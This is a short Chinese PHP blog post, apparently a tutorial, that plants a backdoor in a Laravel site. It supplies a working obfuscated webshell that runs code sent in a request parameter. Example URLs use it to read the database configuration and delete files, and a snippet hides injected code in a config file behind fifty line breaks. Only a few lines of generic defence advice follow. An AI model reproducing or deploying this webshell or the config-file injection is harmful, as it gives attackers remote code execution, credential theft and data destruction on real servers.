黑客、后门
着手服务器攻防问题,修复一些漏洞,写代码的人真的要注意安全问题。千万不要相信用户的输入!
展示: 首先修改电脑本地host文件。改了之后就可以用test.com虚拟域名访问本地文件了。文件目录在“C:\Windows\System32\drivers\etc”
以laravel框架为列子,在根目录创建后门文件
<?php
function config_local(){
@$conn=$_REQUEST;
return @($conn[config]);
}
@extract(array(conn=>create_function(null,config_local())));
@extract(array($cless=>$conn()));
读取数据库配置信息
https://www.test.com/hack.php?config=var_dump(include%20%20%20%27/../config/database.php%27%20);
删除文件
https://www.test.com/hack.php?config=var_dump(unlink(__DIR__.%27/../a.txt%27));
修改文件
?config=
// 读取数据库配置文件
$info=file_get_contents("Conf/db.php");
// 设置很多个换行符号
$change=str_repeat("\r\n",50);
// 用空格代替<?php
$file= str_replace("<?php","",$info);
// 你想添加的任何功能都可以写在下面
$extCode="header('location:http://www.baidu.com');";
...
// 最后组合起来,保存回去
file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);
防备: 不要相信用户的输入!不要相信用户的输入!不要相信用户的输入!
在获取用户输入前一定要做过滤处理;
在服务器上,设置文件的权限,不要每个文件都可以执行脚本权限;
或者增加防篡改功能;
或者修改你服务器的安全组,修改22,21等默认端口,不要端口全开;
对整个站点进行扫描木马。
猜你喜欢
Resultful API规范
阅读 1288什么是resultful
基于 Swoole 实现简单的 WebSocket 服务器及客户端
阅读 1932基于 Swoole 实现简单的 WebSocket 服务器及客户端
抖音接入
阅读 2765PHP 接入抖音开放平台
Swoole 扩展安装与使用入门
阅读 2403Swoole从入门到实战
PHP定时任务
阅读 2156PHP框架Laravel定时任务的实现
Laravel队列的实现
阅读 1975Laravel 队列的简单使用例子
Laravel邮箱推送
阅读 2598Laravel发送邮件
微擎常用记录
阅读 1331微擎常用记录